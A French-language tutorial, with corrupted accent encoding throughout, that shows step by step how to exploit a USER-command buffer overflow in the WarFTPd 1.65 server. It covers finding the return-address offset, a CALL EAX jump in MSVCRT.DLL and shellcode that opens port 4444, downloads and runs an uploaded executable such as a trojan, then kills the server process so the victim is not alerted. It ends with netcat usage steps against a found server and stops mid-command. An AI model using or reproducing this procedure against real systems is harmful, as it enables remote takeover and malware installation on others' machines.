Buffer overflows: War FTP ========================= Recoucou tous ! Hehe. Vous commencez … en avoir marre des buffer overflows hein ! ;))) AprŠs l'article de __2, qui expliquait le principe de base du smashing stack, puis aprŠs mon article pr‚c‚dent qui expliquait les techniques pratiques pour programmer un exploit bas‚ sur un buffer overflow, y manquait encore un truc pour ˆtre tout … fait complet ! Y manquait un beau petit exploit... J'ai cherch‚ pas mal, aprŠs un programme relativement connu et r‚cent, qui aurait pu servir d'exemple. En me renseignant un ti peu, j'ai apprit que War FTPd version 1.65 finale contenait ce que nous cherchions ! ;))) Je vais donc vous montrer ici en d‚tail comment programmer un petit exploit pour les serveurs War FTP, en se servant de ce sacr‚ buffer overflow :) Tout d'abord avant de commencer, je vous conseille d'aller chercher War-FTP 1.65, sur http://www.jgaa.com . Ensuite, je vous conseille aussi d'avoir les outils suivants (pas que pour ce buffer overflow-ci, il vous servirons pour en exploiter d'autres aussi ;) Un petit ‚diteur hexad‚cimal: UltraEdit (http://www.idmcomp.com), Un debugger-d‚sassembleur: Win32dASM Un assembleur 386-Windows: MASM32 Et enfin, un outil formidable dont j'ai d‚j… parl‚ dans un article, … savoir NetCat, un programme de gestion de sockets TCP/IP provenant de Unix, trŠs puissant et trŠs facile d'emploi (http://www.l0pht.com/~weld/netcat). N'oubliez pas aussi de relire un petit peu les 2 articles pr‚c‚dents si c'est loin dans votre m‚moire hehe ;) OU EST LE BUFFER OVERFLOW ? =========================== Avant de commencer je vous conseille d'installer War-FTP chez vous, puis que vous me mailiez avec votre IP, comme ca je pourrai tester l'exploit... lol :) Non, pas besoin de me mailer l'IP, mais installer le quand mˆme, ca va ˆtre un peu plus facile pour que vous compreniez ski va spasser :) Alors l'exploit dans War FTP est assez bˆte, on se demande d'ailleurs comment il n'est pas encore corrig‚... C'est un buffer overflow dans les commandes USER et PASS, qui sont les 1Šres commandes que vous envoyer … un serveur FTP quand vous vous connectez dessus. On va essayer ca tout de suite. On lance d'abord WarFTP, on oublie pas de l'activer (hehehe ;), puis on cr‚e un petit fichier EXPLOIT1.BIN, qui contient ceci: USER exploit suivi de qq dizaines de lignes <ENTER>. Ensuite, nous allons utiliser NetCat, pour envoyer ces commandes au serveur FTP. Par exemple, si mon IP est 10.10.10.1, on lance: nc 10.10.10.1 21 < exploit1.bin (21 est le port FTP par d‚faut utilis‚ par WarFTP) Voici le r‚sultat: C:\>nc 10.10.10.1 21 < exploit1.bin 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. Donc le serveur FTP recoit bien notre commande USER, et il attend un password, dont on a rien … foutre ici c justemment pour pas l'avoir qu'on bosse ;)) Maintenant rentrons de suite dans le vif du sujet. On va recr‚er un petit fichier EXPLOIT2.BIN en faisant un buffer overflow. Recr‚ons un 2Šme petit fichier, EXPLOIT2.BIN, contenant ceci: USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (pour ceux qui ont pas un bon ‚diteur, il y en a 1000+ ou - des "x" ;))) Normalement si on a mit assez de caractŠres, on devrait bien faire un buffer overflow. Lancons: nc 10.10.10.1 21 < exploit2.bin DŠs qu'on coupe NetCat (CTRL-C), Windows rame un petit peu, puis on a un beau message d'erreur "Ce programme va ˆtre arrˆt‚ car il a effectu‚ une op‚ration non conforme". Donc pas de doute, il y a bien un problŠme qq part :))))) ANALYSE DE WARFTP ================= Maintenant il va s'agir d'analyser un peu WarFTP, pour essayer de mieux comprendre d'ou vient ce buffer overflow, et aussi de chercher quelques informations pour l'exploiter. Nous allons pour cela lancer Win32DASM, et d‚sassembler WarFTP. (si vous ne savez pas vous servir de Win32DASM, lisez mon article sur le Cracking, qui vous en expliquera assez bien les bases de fonctionnement) Tout d'abord, nous allons essayer de localiser l'endroit ou la valeur de EIP est r‚cup‚r‚e de la pile via le RET critique. C'est … cet endroit que nous devrons en effet par la suite analyser l'ex‚cution et mettre une adresse EIP qui permettra l'ex‚cution de notre exploit. Une fois le d‚sassemblage termin‚ (menu "Disassembler", commande "Open file to disassemble..."), on va donc dans le menu "Refs", commande "String Data References". Nous allons chercher aprŠs la chaŒne "User name okay", qui est affich‚e lorsque le username … bien ‚t‚ recu par le serveur. En effet, c'est probablement aprŠs l'utilisation de cette chaŒne que se produit le RET recherch‚. Nous arrivons … l'adresse 0042363D. Nous notons cette adresse, puis nous lancons le debugger "Debug","Load Process", et placons un breakpoint … cet endroit, au moyen de la commande "Goto" "Goto Code Location" et de la touche F2. Ensuite, nous lancons le debugging par "Run", nous activons le serveur, minimisons sa fenˆtre, puis nous relancons notre nc 10.10.10.1 21 < exploit2.bin Nous ex‚cutons ensuite pas … pas, en pressant sur F8, jusqu'… ce que nous atteignons la fin de la proc‚dure (structure classique: probablement plusieurs POP suivi d'un RET), car c'est l… que doit se passer le problŠme. Nous arrivons ainsi … un RET … l'adresse 004232D0. Nous allons continuer le pas … pas dans le programme, jusqu'au RET qui va essayer d'ex‚cuter le saut vers l'adresse que nous avons overwrit‚ dans la pile. Pour plus de facilit‚, nous allons recommencer, en r‚‚crivant un EXPLOIT3.BIN, avec comme username des caractŠres 0FFh, comme ca nous saurons que le RET qui sera ˆtre ex‚cut‚ sera un saut vers l'adresse 0FFFFFFFFh, qui est un saut interdit par le systŠme (hors des adresses accessibles par le programme), et nous aurons donc plus facile pour rep‚rer l'emplacement du RET correspondant. Nous allons donc parcourir le code en suivant les RET successif, jusqu'au RET qui charge dans EIP la valeur 0FFFFFFFFh. Le RET … l'adresse 004232D0 renvoie … l'adresse 0421A2Bh, le RET suivant renvoie … 004219C1, puis le RET encore aprŠs nous renvoie … l'adresse 5F416294. Nous remarquons que cette adresse n'est plus dans l'espace de notre programme, mais que c'est une adresse contenue dans une DLL: MFC42.DLL Donc nous allons mettre un breakpoint … l'adresse du RET pr‚c‚dant ce saut, puisque nous ne pouvons pas mettre un breakpoint sur des instructions ne se trouvant pas dans le code. Nous mettons donc un breakpoint sur l'adresse 004219D7 RET 00000004 En continuant … partir de ce breakpoint, nous allons successivement aprŠs chaque RET arriver aux adresses suivantes: 5F416294 5F4161E4 5F416176 5F402679 5F40233C 5F4022C6 5F402251 5F402208 Ensuite, en continuant encore un peu, nous arrivons enfin … un saut vers l'adresse 0FFFFFFFFh, que nous attendions ! OFFSET DE LA VALEUR DE RETOUR ============================= Nous avons donc cr‚er un buffer overflow avec des caractŠres 0FFh, qui provoquent bien un saut vers l'adresse 0FFFFFFFFh. Nous allons donc maintenant essayer de d‚terminer exactement l'endroit dans notre chaŒne ou se trouve l'adresse de retour, de maniŠre … pouvoir aller y placer une adresse de retour vers notre exploit :))) Pour cela, nous allons proc‚der de la maniŠre suivante: nous allons cr‚er une chaŒne de username dans EXPLOIT4.BIN de la forme suivante: EEEEEEEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, et lancer l'ex‚cution jusqu'… une des adresses suivantes: 0EEEEEEEEh: si nous avons cette adresse, cela veut dire que l'adresse de retour se trouve dans la partie ou nous avons des 0EEh, et donc, nous allons diminuer le nombre de caractŠres 0EEh, pour essayer de diminuer cette intervalle. 0FFFFFFFFh: si nous avons cette adresse, cela veut dire que l'adresse de retour se trouve dans l'autre partie (caractŠres 0FFh), et nous allons donc augmenter le nombre de caractŠres 0EEh, pour essayer de monter dans la pile. Nous allons proc‚der comme ca plusieurs fois, en modifier le nombre de 0EEh, jusqu'… ce que nous sautions … une adresse compos‚e de 0EEh et de 0FFh, ce qui voudra dire que l'on est vraiment tout prŠs de l'endroit recherch‚ ! Allons-y: mettons des 0EEh jusqu'… l'offset 4FFh (avec UltraEdit). Nous supprimons aussi les breakpoints, et lancons l'ex‚cution de WarFTP, ensuite nous lancons l'ex‚cution de nc 10.10.10.1 21 < exploit4.bin Nous fermons ensuite NetCat, avec CTRL-C, puis nous pressons sur "Pause" dans le debugger. Nous voyons ainsi la valeur de saut 0EEEEEEEEh. Nous allons ainsi continuer en rajoutant ou en supprimant des 0EEh, pour diminuer l'intervalle dans laquelle nous sommes certains que se trouve la valeur de retour: 0EEh jusqu'… l'offset: valeur de retour (EIP): => la zone devient: 4FFh 0EEEEEEEEh de 0h … 4FFh 2FFh (milieu de 0h,4FFh) 0EEEEEEEEh de 0h … 2FFh 1FFh (milieu de 0h,2FFh) 0FFFFFFFFh de 1FFh … 2FFh 28Fh 0EEEEEEEEh de 1FFh … 28Fh 22Fh 0FFFFFFFFh de 22Fh … 28Fh 25Fh 0EEEEEEEEh de 22Fh … 25Fh 23Fh 0FFFFFFFFh de 23Fh … 25Fh 24Fh 0EEEEEEEEh de 23Fh … 24Fh 247h 0EEEEEEEEh de 23Fh … 247h 243h 0FFFFEEEEh Nous arrivons donc … une adresse qui contient des 0EEh et des 0FFh. Que cela veut-il dire ? Cela veut dire que notre pile est comme ceci: EE EE EE EE EE EE EE EE EE FF FF FF FF FF FF FF FF || || || || adresse de retour Donc, si nous supprimons 2 0EEh, puis que nous mettons par exemple 4 0DDh, nous devrions avoir une pile comme ceci: EE EE EE EE EE EE EE DD DD DD DD FF FF FF FF FF FF || || || || Ou 0DDDDDDDDh repr‚senterait l'adresse de retour EIP. Nous mettons donc des 0EEh jusqu'… l'offset 241h compris, puis nous mettons DD DD DD DD, puis nous laissons des 0FFh derriŠre. Normalement nous devrions donc maintenant sauter … l'adresse 0DDDDDDDDh. Nous essayons, et... Yessssssssssssssssss it works ! :) Donc, l'adresse de retour que nous pouvons modifier se trouve … l'offset 242h dans le fichier EXPLOIT4.BIN . SHASHING DE EIP =============== Nous avons donc maintenant trouver l'endroit ou aller mettre la valeur pour revenir au d‚but de notre buffer. Cependant, nous arrivons ici … un cas particulier, mais courant dans les programmes Windows. De quoi s'agit-il ? L'adresse de notre buffer, est approximativement 00CCxxxx (en observant la valeur de ESP le plus vite possible aprŠs l'ex‚cution du saut vers 0DDDDDDDDh). Donc l'adresse de la pile contient un byte 00h, et le dernier byte que nous allons mettre va nous poser problŠme: il ne sera pas ajouter dans le buffer, et donc tout semble … refaire ! :(((((( Pour contourner ce problŠme, nous allons analyser la valeur des registres lors de l'ex‚cution du RET, et observer ceux d'entre eux, qui pointent vers des adresses trŠs proches de ESP (adresse de la pile). En effet, nous pourrions alors essayer de proc‚der comme ceci: par exemple, si la valeur du registre EDX est proche de l'adresse de ESP, nous pouvons essayer de trouver une instruction "CALL EDX" cod‚e dans une DLL charg‚e par le programme (… une adresse ne contenant pas de 00h), sauter vers l'adresse de ce CALL via le RET que nous ‚crasons, qui s'ex‚cutera et ressautera lui vers l'offset EDX, qui sera le plus prŠs possible de notre buffer. Nous relancons donc WarFTP, en r‚activant le breakpoint … l'adresse 004219D7 RET 00000004, et nous allons noter les registres ‚ventuels qui sont proches de notre buffer. DŠs le saut vers 0DDDDDDDDh, nous avons les valeurs de registres suivantes: EAX: 00CCFD6C EBX: 00CCFD6C ECX: 00CCF714 EDX: BFF76859 ESI: 81729ECC EDI: 00CCF73C EBP: 00CCF690 ESP: 00CCF670 Notre pile (ESP) est en 00CCF670, nous remarquons donc que les registres EAX,EBX,ECX,EDI,EBP pointent tous des adresses proches de notre pile. Dans Win32DASM, observons un peu plus attentivement notre pile: A la valeur ESP+00000700, nous observons ceci: ESP+000006F4 EEEEEEEE ESP+000006F8 EEEEEEEE ESP+000006FC EEEEEEEE ESP+00000700 DDDDDDDD <- notre adresse de retour ESP+00000704 FFFFFFFF ESP+00000708 FFFFFFFF ESP+0000070C FFFFFFFF Comme ESP vaut 00CCF670, c'est Çquivalent Ö: 00CCFD6C EEEEEEEE 00CCFD70 DDDDDDDD <- notre adresse de retour 00CCFD74 FFFFFFFF Registres possÇdant des valeurs "intÇressantes": EAX: 00CCFD6C EBX: 00CCFD6C ECX: 00CCF714 EDI: 00CCF73C EBP: 00CCF690 Nous remarquons que tout ces registres pointent sur une valeur qui est avant notre ESP. Cependant, la valeur de ces registres dÇpent peut-àtre d'une exÇcution Ö une autre. Nous allons donc essayer de modifier notre buffer overflow pour que màme si la valeur du registre soit lÇgärement modifiÇe, elle n'empàche pas pour autant le saut. Nous allons donc placer comme instructions dans les bytes prÇcÇdant notre valeur de retour toute une sÇrie de NOPs (90h) , Ö la place des 0EEh que nous avions tantìt. Et nous placerons le code Ö exÇcuter apräs notre adresse de retour. Cela ne pose pas un grand probläme. C'est peut-àtre màme plus pratique, car nous disposerons ainsi de plus de mÇmoire pour notre code assembleur, et nous pourrons aussi empiler sans problämes des valeurs sur la pile, puisque celle-ci va continuer Ö descendre et ne remontra pas venir Çcraser notre code. Maintenant, nous allons essayer de trouver l'adresse d'un emplacement mÇmoire ou on pourrait trouver une instruction de saut, qui pourrait sauter vers la valeur d'un de ces registres. Nous allons commencer avec EAX, donc nous allons essayer de trouver dans une des DLL chargÇes par WarFTP une instruction "CALL EAX", qui soit Ö une adresse ne contenant pas de 00h. Relancons Win32DASM. A partir de la ligne 663, nous avons la liste des fonctions que WarFTP importe, donc la liste des fonctions qu'il appelle dans des DLLs. Nous voyons par exemple qu'il appelle des fonctions de la DLL MFC42.DLL . Nous allons donc lancer avec Win32DASM le dÇsassemblage de MFC42.DLL. Une fois le dÇsassemblage terminÇ, nous lancons dans le menu "Search" la commande "Find Text", et nous spÇcifions comme texte "call eax". Win32DASM nous indique la ligne 13057, Ö l'adresse 5F402C28. Nous notons cette adresse sur un pti bout de papier ;))), puis nous retournons dans UltraEdit, fichier EXPLOIT5.BIN et nous allons placer Ö la place de 0DDDDDDh, les valeurs 28 2C 40 5F (dñ Ö l'inversion des bytes en mÇmoire). Nous modifions par la màme occasion les EEh en 90h, et nous remplacons juste le 90h qui prÇcäde notre adresse de retour la valeur CCh. Pourquoi ? La valeur CCh reprÇsente l'instruction assembleur "INT 03", qui est une exception, interdite dans un programme Windows normal. Donc, si nous lancons WarFTP puis notre exploit, normalement nous allon avoir un message d'erreur de Windows, qui prouvera que nous sommes bien en train d'exÇcuter le code de notre buffer overflow. Nous lancons WarFTP (plus besoin de le lancer sous Win32DASM), puis nc 10.10.10.1 21 < exploit5.bin Qu'est-ce que nous avons ? Nous avons un message qui s'affiche dans NetCat, Invalid User Name !!!! Cela veut dire qu'un des caractäres qui est utilisÇ dans notre adresse de retour est reconnu comme invalide par WarFTP. Nous allons aller chercher dans une autre librairie, qui sera situÇe Ö une autre adresse en mÇmoire, apräs une autre instruction "CALL EAX". Par exemple, dans MSVCRT.DLL, nous lancons la recherche, et nous trouvons: 780026B0 call eax Nous continuons, jusqu'Ö ce que nous trouvions une instruction "CALL EAX", dont l'adresse ne contienne pas de 00h et possäde des caractäres qui n'aient pas l'air "bizarre". Nous arrivons Ö l'adresse 780101DBh. Nous rÇessayons donc, en codant cette adresse Ö la place de l'ancienne adresse de retour ( DB 01 01 78 ). Nous rÇessayons, et nous un message d'erreur de Windows, qui nous indique: "WAR-FTPD a causÇ une exception 03H dans le module <inconnu> Ö 0000:00CCFD70." Ca y est ! Donc, maintenant nous sommes certain que notre code est bien exÇcutÇ, puisque Windows a dÇtectÇ l'appel de l'interruption 3h. Si nous regardons plus en dÇtail, nous remarquons d'ailleurs que l'adresse 00CCFD70 est l'adresse du RET ! C'est logique, le processeur a exÇcutÇ notre INT 03, puis il met Ö jour EIP, et enfin Windows provoque une erreur. D'ailleurs, en regardant un peu plus bas dans la boåte de message de Windows, nous trouvons: "Octets Ö CS : EIP : db 01 01 78 ff ff ff ff ff ff ff ff ff ff ff ..." Donc c'est bien notre adresse que nous observons lÖ ! Maintenant, nous avons un petit probläme. En effet nous avons placÇ un INT 03, et donc le processeur s'est arràtÇ juste avant d'exÇcuter les bytes suivants, qui sont justement ceux de notre adresse !!! Nous allons donc recommencer, en placant cette fois le CCh apräs l'adresse de retour. Nous verrons ainsi ce que les instructions que reprÇsente notre adresse sont "dangereuses" ou pas. Nous crÇons donc EXPLOIT6.BIN, avec le CCh apräs les bytes DB 01 01 78. Cependant, nous rajoutons quelque 90h (NOP), avant le CCh. En effet, les 4 bytes qui codent notre adresse de retour reprÇsente des instructio, mais il est fort possible que les instructions codÇes fasse plus de 4 bytes, et donc que le processeur interpräte certains bytes derriäre comme les bytes de la fin de l'instruction. En mettant 5 NOPs (90h), par exemple, nous sommes ainsi certain que notre CCh ne fera pas partie d'une instruction prÇcÇdente et qu'il codera bien un INT 3. Qu'observons nous ? WarFTP plante toujours de la màme maniäre, mais maintenant les Octets Ö CS : EIP ne contiennent plus notre adresse de retour. C'est donc qu'elle a ÇtÇ interprÇtÇe comme une ou plusieurs instructions, qui apparement sont sans danger pour nous... Quelles sont les instructions qui pourraient àtre dangereuses ? Ben il suffirait que notre adresse de retour code une instruction du style jmp xxxx par exemple, et lÖ cela serait la catastrophe. Cependant, il existe finalement assez peu d'instructions dangereuses: les JUMP, CALL, PUSH, POP et c'est Ö peu präs tout... Il est aussi important de noter que la valeur de EAX n'a pas ÇtÇ modifÇe par cette instruction. En effet, nous allons nous resservir par la suite du EAX, car il va nous aider Ö connaåtre plus ou moins l'adresse du buffer dans notre exploit. Dans un cas ou nous aurions eu une instruction qui foutait la merde, nous aurions alors dñ faire prÇcÇder l'adresse de retour d'un JUMP qui sautait au dessus (jump de +4 bytes). Cela est tout Ö fait faisable, mais inutile dans ce cas-ci, mais c'est ptàt bon de le mentionner ;) VoilÖ, donc maintenant, nous avons presque fait tout le boulot pour le buffer overflow proprement dit. Nous avons smasher EIP, donc il exÇcute le code que l'ont veut qu'il exÇcute ! N'est ce pas formidable ;) UN EXPLOIT SOUS WINDOWS ======================= Maintenant que nous pouvons exÇcuter le code que nous voulons, nous allons essayer de programmer un petit exploit qui sera donc exÇcutÇ sur la machine qui exÇcutait le serveur WarFTP. Jusqu'Ö prÇsent, la technique que nous avions employÇe Çtait fort portable d'un systäme Ö un autre. Maintenant, Çtant donnÇ que nous allons devoir faire appel Ö des fonctions du systäme pour programmer l'exploit, nous allons nous concentrer un peu plus sur Windows. Pour programmer l'exploit, il n'y a pas 36 solutions, il faut ressortir notre bon vieil assembleur MASM32 ;) Keskon va programmer comme exploit ? Ici on a l'embarras du choix. D'habitude, on a envie de programmer quelque chose qui va nous permettre d'accÇder au disque du serveur, d'y exÇcuter un programme, d'y charger Çventuellement un fichier de mot de passe, etc... Nous allons nous essayer de crÇer un exploit qui soit "portable", c'est Ö dire qu'il pourra àtre exÇcutÇ sur une version quelconque (Windows 95/98), mais aussi que nous pourrons reprendre son code en grande partie pour Çventuellement l'utiliser dans un buffer overflow d'un autre programme. Pour cela, nous allons donc programmer notre exploit complätement sur la pile. Cela veut dire que nous allons devoir stocker les donnÇes dans le code màme, et que nos variables elles-aussi devront àtre Ö des adresses dans le code. Tout d'abord, la 1äre chose est de ne pas oublier que notre exploit ne doit comporter aucun caractäre spÇcial. Pas de caractäre 00h, pas de caractäre 0Dh, 0Ah. Comme les APIs Windows nÇcessitent souvent le passage de constantes en paramätres, constantes qui peuvent contenir des 00h, nous utiliserons donc la commande assembleur NOT, qui permettra d'inverser la valeur juste au moment de l'exÇcution, et donc d'Çviter les caractäres 00h dans le code. 2ämement, nous risquons aussi d'avoir des 00h dans le codage hexadÇcimal des sauts relatifs. En effet, la valeur hexadÇcimale qui est codÇe est le nombre de bytes Ö ajouter Ö l'EIP courant pour arriver Ö la nouvelle adresse. Or quand on fait des sauts, on fait rarement des jump qui se dÇplacent de 6500000 octets. Ce sont plus souvent des sauts de quelques 10aines d'octets au grand maximum. Donc nous risquons de voir apparaåtre des 00h dans le codage de ces sauts. Pour l'Çviter, nous essayerons donc d'utiliser des Jx SHORT, qui codent le dÇplacement du saut sur le moins d'octets possible. Remarquons que dans le cas d'un saut "retour en arriäre", le dÇplacement est nÇgatif, donc nous n'aurons pas de valeur 00h. Voyons un peu comment appeler des fonctions systämes (APIs) sous Windows dans notre exploit. Au dÇbut d'un fichier.EXE, par exemple de WAR-FTPD.EXE, on trouve toutes les APIs qui sont importÇes par le programme. Ces APIs sont importÇes dans une table, en mÇmoire (jump table), qui contient l'adresse rÇelle de l'API. Cette table est gÇnÇrÇe au moment du chargement du programme, et permet Ö l'API de se trouver Ö une adresse diffÇrente selon l'exÇcution, selon la version du systäme,etc... Cependant, les APIs que nous voulons Çventuellement utiliser dans notre exploit ne sont pas forcÇment importÇes par le programme. Windows met pourtant Ö notre disposition 2 fonctions, dans KERNEL32.DLL, qui nous permettent de rÇaliser nous màme notre propre jump table. Il s'agit des fonctions LoadLibraryA et GetProcAddress: La fonction LoadLibrary recoit comme paramätre un pointeur sur la chaåne contenant le nom de la DLL dans laquelle se trouve la fonction Ö importer, et nous renvoie un Handle. La fonction GetProcAddress recoit comme paramätres ce handle, et un pointeur sur la chaåne contenant le nom de la fonction de la DLL. Dans un programme exÇcutable, il est träs rare que ces 2 fonctions ne soient pas importÇes. Donc, nous pouvons connaåtre l'adresse de ces 2 fonctions, et les appeler pour charger d'autres fonctions et APIs que nous voulons utiliser. OUTILS ====== Pour me faciliter la tÉche et faciliter la vìtre aussi, j'ai programmÇ un petit fichier d'include pour MASM, qui va nous permettre de facilemment Çcrire des exploits quelconques (EXPLOIT.INC). Ce fichier se compose de 3 macros, appelables dans un code assembleur classique. Pourquoi des macros et pas des procÇdures ? Parce que des macros sont incluses directemment au bon endroit dans le code, et qu'elles Çvitent donc d'utiliser des instructions non nÇcessaires (PUSH,POP,CALL,RET,...), qui prennent des bytes pour rien. On Çcrit ici un exploit qui doit àtre le plus petit possible, pas un programme pour apprendre Ö faire de la programmation structurÇe ;) Il y a 3 macros, mais 2 d'entre-elles sont complÇmentaires et doivent àtre utilisÇes ensemble. Voici comment utiliser les 2 premiäres: DEBUTEXPLOIT: ExploitPrologue db "donnÇes",... ExploitEpilogue AddrLoadLibrary,AddrGetProcAddress,BytesVariables Ou: AddrLoadLibrary reprÇsente l'offset de la zone mÇmoire qui contient l'adresse de l'API LoadLibrary. AddrGetProcAddress reprÇsente l'offset de la zone mÇmoire qui contient l'adresse de l'API GetProcAddress. BytesVariables reprÇsente un nombre de bytes Ö rÇserver pour d'Çventuelles variables (initialisÇes Ö 0). Le format des donnÇes est le suivant: Des chaånes de caractäres, suivie chaque fois d'un caractäre de contrìle: 255 indique la fin de la table de donnÇes 254 indique la fin d'un nom de librairie (qui va donc àtre chargÇe) 253 indique la fin d'un nom de fonction de la librairie courante 252 indique la fin d'une chaåne Ces 2 macros vont donc balayer les donnÇes, et crÇer une table. Cette table contiendra pour les fonctions, l'adresse de la fonction qui a ÇtÇ chargÇe, et pour les chaåne, l'adresse de la chaåne. Ces adresses seront accessibles via le registre ESI, en descendant. L'adresse de la derniäre fonction ou chaåne sera en [ESI-4], l'avant derniäre en [ESI-8],... Ce codage est effectuÇ de maniäre nÇgative pour Çviter de nouveau d'avoir des 00h dans le codage hexadÇcimal. Ensuite, si le paramätre BytesVariables est diffÇrent de 0, la macro va crÇer autant de bytes initialisÇs Ö 0, accessibles via [EDI-1],[EDI-2],... ATTENTION !!! Pour Çconomiser de la place, la table d'adresses (ESI) et la table des variables (EDI) sont crÇÇes par dessus la table des donnÇes. Pour les noms de fonctions cela n'est pas important, puisque ceux-ci deviennent inutiles une fois que l'on a l'adresse, par contre pour les chaånes, celles-ci ne doivent pas àtre ÇcrasÇes, donc je vous conseille de les placer Ö la fin des donnÇes. Il faut aussi chaque fois utiliser la macro ExploitPrologue, puis la procÇdure ExploitEpilogue apräs, car la fin de la procÇdure ExploitPrologue contient un jump vers le dÇbut de ExploitEpilogue, pour sauter au dessus des donnÇes. La macro suivante, ExploitAlloc, vous permet de crÇer un espace pour les variables sur le heap du programme. L'avantage est que vous disposez lÖ de beaucoup plus de place pour crÇer des variables ou stocker des donnÇes, l'inconvÇnient est qu'il faut quelques lignes de code en plus, et qu'il faut avoir l'adresse d'une API particuliäre, l'API GlobalAlloc (plus ou moins Çquivalente Ö un malloc en C). On appelle donc la procÇdure ExploitAlloc comme ceci: ExploitAlloc AddrGlobalAlloc,BytesVariables ou: AddrGlobalAlloc reprÇsente l'offset de la zone mÇmoire qui contient l'adresse de l'API GlobalAlloc (prÇsente dans le programme, ou initialisÇe par les 2 macros prÇcÇdentes). BytesVariables reprÇsente le nombre de bytes Ö rÇserver pour les variables (initialisÇes Ö 0). Apräs l'appel de cette macro, on accäde aux variables crÇÇes via [EBP-1], [EBP-2],... VoilÖ. Pour mieux comprendre ce qui se passe, je vous conseille de jeter un petit coup d'oeil Ö ces macros, dans le fichier EXPLOIT.INC. J'ai Çcrit ces macros en essayant d'optimiser le plus possible la taille du code, ce qui fait que leur structure est peut-àtre un peu complexe, mais rappelez vous qu'on a pas 1Mg de mÇmoire pour coder notre exploit ;) L'EXPLOIT ========= Au dÇbut, je voulai programmer un exploit qui active le partage de fichiers NetBIOs de l'ordinateur sur lequel WarFTP Çtait exÇcutÇ. Pour rÇaliser cela, j'allai Çcrire quelques informations dans la base des registres. Le probläme Çtait que pour que ces informations soient validÇes, il fallait absolumment un redÇmarrage du systäme sur la machine. Ce n'est pas träs compliquÇ Ö faire, mais ce qui m'embàtait beaucoup est que dans le cas d'un IP dynamique, on perd ainsi la trace de l'ordinateur dont on avait activÇ le partage de fichiers. Finalement, j'ai programmÇ un autre exploit, qui ouvre un port TCP sur la machine exÇcutant le serveur FTP, et qui attend une connection sur ce port. Il nous suffit ensuite d'envoyer un fichier exÇcutable sur ce port (par exemple un trojan ;), pour que celui-ci soit exÇcuter sur la machine distante. Pour programmer cet exploit, j'ai utilisÇ les fonctions Winsock 1.1, assez puissantes et pas trop compliquÇes Ö programmer en assembleur. ATTENTION !!! Ne pas lancer EXPLOIT.EXE Ö la ligne de commande, sa conception est assez particuliäre, vu qu'il n'y a pas de segment de donnÇes, pas de pile (puisqu'il va s'exÇcuter sur la pile), et l'appel des fonctions APIs de Windows est lui aussi particulier, donc cela ne ferait que planter votre ordinateur... L'exploit utilise les fonctions classique de Winsock version 1.1 (plus faciles Ö utiliser que les fonctions de Winsock 2.2 etc...), et utilise les vieilles fonctions de gestion de fichiers _lwrite, etc..., qui sont plus faciles Ö utiliser aussi. Le nom du fichier Çcrit qui sera exÇcutÇ est le plus court possible, et le port ouvert 4444, a ÇtÇ choisi pour àtre facile a retenir et pour àtre un port qui est habituellement ouvrable sans probläme (màme derriäre pas mal de firewalls). Il est bon de remarquer que le fichier est chargÇ sur l'ordinateur distant, ensuite il est exÇcutÇ, puis le process WarFTP est killÇ, pour Çviter d'alerter la personne qui est sur la machine, ou pour Çviter un message d'erreur de Windows (qui se produirait si le programme continerai Ö exÇcuter des instructions codÇes par les bytes sur la pile). Nous assemblons l'exploit (EXPLOIT.EXE), puis nous lancons Win32Dasm sur EXPLOIT.EXE, pour aller voir ou commence le code de l'exploit dans le fichier .EXE. On remarque que le point d'entrÇe du programme est Ö l'offset 200h dans le fichier EXPLOIT.EXE. Nous lancons donc UltraEdit, et nous allons Ö l'offset 200h du fichier EXPLOIT.EXE. En descendant un petit peu, nous observons un peu plus bas une suite de 00h, qui indique vraissemblablement la fin de l'exploit. Vous remarquez au passage que l'exploit est assez court, on peut àtre fier de nous ! ;))) On y observe aussi les chaånes qui sont utilisÇes dans l'exploit (noms de librairies, etc...). Il pourrait àtre intÇressant de crypter ces chaånes, par un NOT, ou un XOR... Mais ici ce n'est pas trop important. Maintenant, nous copions collons tout ces bytes dans EXPLOIT7.BIN, derriäre les NOPs qui se trouvent apräs notre adresse de retour, et nous supprimons tout les bytes FFh apräs, qui prennent de la place inutile. Voici maintenant de maniäre pratique, comment utiliser l'exploit: Nous trouvons un serveur WarFTP 1.65. Nous lancons l'exploit avec NetCat, en tapant: NETCAT -vv ip_du_serveur 21 <exploit7.bin Une fois que le message de username correct apparaåt, on peut couper la connection (CTRL-C). Puis on envoie le fichier Ö exÇcuter sur la machine distante: NETCAT -vv 